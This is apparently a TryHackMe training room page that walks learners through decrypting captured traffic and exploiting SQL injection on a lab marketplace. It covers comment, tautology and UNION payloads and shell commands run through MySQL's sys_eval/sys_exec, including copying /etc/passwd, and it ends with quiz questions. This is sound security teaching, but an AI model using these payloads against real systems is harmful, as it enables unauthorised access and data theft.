Room Banner

TryHack3M: Sch3Ma D3Mon

A guided challenge to learn about SQL injection exploits.

medium

90 min

Room progress ( 0% )

To access material, start machines and answer questions login.

Task 1A Public Computer with a VPN

After weeks of meticulous observation and planning, we pinpointed the public computer that the suspect uses to access their website. The computer is located in a quiet corner of the local library. Although the computer has a warning sign that all computer activity is monitored, the suspect doesn’t seem to care. They only check for installed key loggers before establishing a VPN connection and logging in to their criminal marketplace. This time, we were ready:

  • We have set the browser to log the session’s TLS keys; this logging was achieved by adding an extra option to the browser shortcut. Executing chromium --ssl-key-log-file=~/ssl-key.log dumps the TLS keys to the ssl-key.log file.
  • We were capturing all traffic on that computer.

By the time they finished, we had a log of used TLS keys and an encrypted packet capture. You can access these files by clicking the Download Task Files button or navigating to /root/Rooms/TryHack3M/sch3MaD3Mon on the AttackBox. Using the TLS key log file, Wireshark should be able to decrypt all exchanged traffic.

Answer the questions below
What is the suspect’s username?

What is the suspect’s password?

Click on the Start Machine button to start the marketplace lab. Give it a few minutes to boot before accessing it via http://MACHINE_IP:8000. The credentials you found in the previous task should give you access.

So far, we have obtained the login credentials and successfully logged in to the marketplace. It is time to check for any vulnerabilities, granting us more access. We will focus on SQL injection (SQLi) vulnerabilities. This task briefly covers relational databases, tables, query language, and SQL injection vulnerabilities. This knowledge will be handy for the second stage of our attack, i.e., Task 3. If you are familiar with SQL and SQLi, you can skip this task.

RDBMS

After obtaining the login credentials, it is time to access the marketplace and check for any vulnerabilities that would grant us more access. We will focus on SQL injection vulnerabilities; if you are familiar with SQL and SQLi, you can skip this task.

SQL, which stands for Structured Query Language, was designed to manipulate and retrieve data from a relational database management system (RDBMS). What is a relational database? Think of it as a set of tables with relations connecting them. Consider the following relational database for an online shop with three tables:

  • Table of products: We expect to find the name and price of every product, among other details.
  • Table of customers: This table is expected to hold each customer's username, password, name, and address.
  • Table of invoices: This table is special. It relies on information from the other two tables. For instance, a customer ID, a product ID, and a date would be enough to tell us what the customer bought and when they bought it. Note that we didn’t need to repeat the customer or product information.

Let’s say that we created the table users with the following attributes: id, username, password, name, and address. The SQL statement below creates a table named users with columns for id (auto-incrementing integer primary key), username, password, name, and address.

CREATE TABLE `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(200) NOT NULL,
  `password` varchar(33) NOT NULL,
  `name` varchar(30) NOT NULL,
  `address` varchar(200) NOT NULL,
  PRIMARY KEY (`id`)
);

The id column is set as the primary key, and all columns are defined as NOT NULL, meaning they cannot have empty values. Except for the id, the data type of each column is declared as a variable-length character string with a set maximum length.

Next, we want to add new customers, search existing ones, update information, and occasionally delete dormant accounts. Let’s see how this is achieved via SQL.

CRUD

CRUD is an acronym for the four basic operations that can be performed on data in a database. The four operations are Create, Read, Update, and Delete.

Create

This operation involves inserting new data into the database. In SQL, the INSERT statement creates new records or rows in a table. Here’s an example:

INSERT INTO users (username, password, name, address)
VALUES ('jdoe', 'mypasswordTH3M', 'John Doe', 'TryHack3M Street');

This statement inserts a new row into the users table with the values ‘jdoe’, ‘mypasswordTH3M’, ‘John Doe’, and ‘TryHack3M Street’ for the columns username, password, name, and address, respectively. The id column will be automatically incremented due to the AUTO_INCREMENT property.

Read

This operation involves retrieving or reading existing data from the database. In SQL, the SELECT statement reads or queries data from one or more tables.

SELECT * FROM users WHERE username = 'jdoe';

This statement retrieves all columns and rows where the username column has the value ‘jdoe’.

SELECT name, address FROM users;

This statement retrieves only the name and address columns from all rows in the users table.

Update

This operation involves modifying or updating existing data in the database. In SQL, the UPDATE statement is used to change or modify the values of one or more columns in a table.

UPDATE users
SET password = 'newpassword3M'
WHERE username = 'jdoe';

This statement updates the password column with the value ‘newpassword3M’ for the row where the username column has the value ‘jdoe’.

UPDATE users
SET address = 'TryHack3M Street, Phone 3-000-000'
WHERE id = 1;

This statement updates the address column with the value ‘TryHack3M Street, Phone 3-000-000’ for the row where the id column has the value 1.

Delete

This operation involves removing or deleting existing data from the database. In SQL, the DELETE statement removes one or more rows from a table.

DELETE FROM users
WHERE username = 'jdoe';

This statement removes the row(s) from the users table where the username column has the value ‘jdoe’.

DELETE FROM users
WHERE id = 5;

This statement removes the row from the users table where the id column has the value 5.

SQL Injection

SQL injection is a technique used by attackers to exploit vulnerabilities in web applications that interact with databases. It occurs when untrusted user input is improperly handled and concatenated into SQL statements, allowing malicious SQL commands to be executed on the database. Consequently, the attacker might gain access to sensitive data, modify or delete data, or even execute commands on the underlying database server. Let’s dive into a practical example.

Consider the following vulnerable PHP code snippet being used for authentication. Authentication fails if the query finds no record with this username and password combination. (Yes, this is insecure, although it works!)

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

Comments-Based SQL Injection

Knowing that -- is used for commenting in SQL, an attacker can inject admin'-- in the user name. Consequently, the query ends at admin, and everything after -- is ignored. This is shown in the code below.

SELECT * FROM users WHERE username = 'admin'--' AND password = '$password';

Tautology-Based SQL Injection

Injecting a tautology (always true condition) like ' OR '1'='1 in an input field can bypass authentication mechanisms or retrieve data. For instance, the attacker might inject ' OR '1'='1 in the input field. The resulting SQL query becomes like one of the following queries.

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'pass';
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

There is no guarantee that such queries would return proper results. Alternatively, the attacker might combine a tautology with a comment and insert ' OR '1'='1' -- in the username field.

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'password';

Since the '1'='1' will always be evaluated as true, this query might return the whole users table.

Retrieving Data from Other Tables

Another attack might aim to retrieve data from other tables. For example, if we use the payload ' UNION SELECT * FROM products --, we might dump the products table.

SELECT * FROM users WHERE username = 'jdoe' UNION SELECT * FROM products --' AND password = 'pass';

The above example SQL payloads provide a basic idea of how and why SQL injection works. It is time to build on this knowledge and tackle the challenge in the next task.

Answer the questions below
What does RDBMS stand for?

What does CRUD stand for?

What does SQL stand for?

Now that you have access to the product page, you’ve taken some time to investigate any possible vulnerabilities in the application. You go through your toolkit until you begin to test if the application is vulnerable to SQL injection. You do this by searching for '; when you do this search, you see the following error:

This error implies that the database interpreted your string, making the application vulnerable to an SQL injection attack. But what can you do with this vulnerability?

Given this is a search query bar, you begin to think it's likely that this search function runs some kind of a SELECT query. Considering this, It springs to mind that you can use a UNION SELECT query to join the SELECT query triggered by the search to a query of your own creation. You remember that your UNION SELECT query must include the same number of columns. To test how many columns are included in the initial SELECT command, run a few queries until one executes successfully and populates the product page. Running the query ' union select 1,2,3,4,5 -- // returned the following:

There are two important notes to consider as you tweak your exploit code. Firstly, table names are often in lowercase format and separated by underscores. Secondly, UNION requires the same number of columns in the two SELECT statements to be combined. Although this constraint is always valid, this does not need to be a named column. You can use null. For example, if you wish to join a table with only two columns to another table with five columns, you can use 'union select null, null, null, column1, column2 from table_name -- //

Can you use this knowledge to attain the next step?

Answer the questions below
What's the hidden path?

It is possible to execute shell commands within SQL queries. (In this particular case of MySQL, lib_mysqludf_sys.so provides this functionality, and it is loaded and enabled.) As we can embed shell commands within innocuous SQL queries, consider the following examples:

SELECT sys_eval('whoami');
SELECT sys_exec ('touch /var/lib/mysql/test.txt');
SELECT sys_exec ('echo "hello" > /var/lib/mysql/test.txt');
SELECT sys_exec ('cat /etc/passwd > /var/lib/mysql/test2.txt');

If you were to run mysql -p database_name on the database server’s shell, you can try executing all of the above. An example is shown below:

mysql> SELECT sys_eval('whoami');
+----------------------------------------+
| sys_eval('whoami')                     |
+----------------------------------------+
| 0x6D7973716C                           |
+----------------------------------------+
1 row in set (0.01 sec)

mysql> SELECT sys_exec ('touch /var/lib/mysql/test.txt');
+--------------------------------------------+
| sys_exec ('touch /var/lib/mysql/test.txt') |
+--------------------------------------------+
|                                          0 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT sys_exec ('echo "hello" > /var/lib/mysql/test.txt');
+-----------------------------------------------------+
| sys_exec ('echo "hello" > /var/lib/mysql/test.txt') |
+-----------------------------------------------------+
|                                                   0 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT sys_exec ('cat /etc/passwd > /var/lib/mysql/test2.txt');
+---------------------------------------------------------+
| sys_exec ('cat /etc/passwd > /var/lib/mysql/test2.txt') |
+---------------------------------------------------------+
|                                                       0 |
+---------------------------------------------------------+
1 row in set (0.00 sec)

As a result, we can do some experiments on the PHP page we have discovered. You might try to come up with a helpful combination. For instance, one might attempt http://MACHINE_IP:8000/unlisted?user=lannister' union SELECT null, sys_eval('whoami') -- // and check what they might get. Note that this URL won’t work as is. Consider replacing unlisted with the hidden path you uncovered in Task 3; furthermore, the columns count doesn’t match, so you have some calibration to do.

Answer the questions below
What is the output of pwd when run via an SQL injection attack?

Now that you’ve breached the OS, it’s time to take a look around! After some snooping, you see a directory full of receipts in the /home directory. This could contain critical information which you can use to thwart this group’s efforts. Oh dear! It appears these receipts are all encrypted or password-protected. You can recall this group using buyers’ Bitcoin addresses in the past to encrypt secrets. They may have done the same thing here, but where can you find this information? 

You recall that you can query information regarding a database and its schema instead of querying a table, querying (for example) information_schema.columns where table_schema=database(). From here, you can grab information like table_name and column_name. Going back to searchproducts.php, can you use this knowledge to gather Bitcoin sender address information to unlock these receipts for investigation?

Once you have found the necessary information, try decrypting the receipt file with it. From the file extension, the receipts have been encrypted with the gpg command. With this in mind, you can decrypt the receipt with the following command: 

gpg --decrypt <file-name>

This command will prompt you to enter a key; use the information found earlier to decrypt the receipt. But which one?

Answer the questions below
What is the malware’s location?

Now that we know which malware is the most widely purchased in this store, we can execute our plan to disrupt its damaging effects by modifying the code, effectively “defanging” it. 

This ensures that the malware runs without causing actual damage, thus maintaining the illusion of regular operation for the purchasers of this malware. The longer they believe that the malware they purchased works normally, the less chance our modifications will be discovered.

Explore the directory of our target malware. Something there could hint at how to disable its damaging effects.

Answer the questions below
What programming language was used to develop the malware?

Reading the source code, what file type is added to the end of encrypted files?

What is the flag that appears after compiling the defanged malware?

Room Type

Free Room. Anyone can deploy virtual machines in the room (without being subscribed)!

Users in Room

3,938

Created

474 days ago

Ready to learn Cyber Security? Create your free account today!

TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.

Already have an account? Log in

We use cookies to ensure you get the best user experience. For more information contact us.

Read more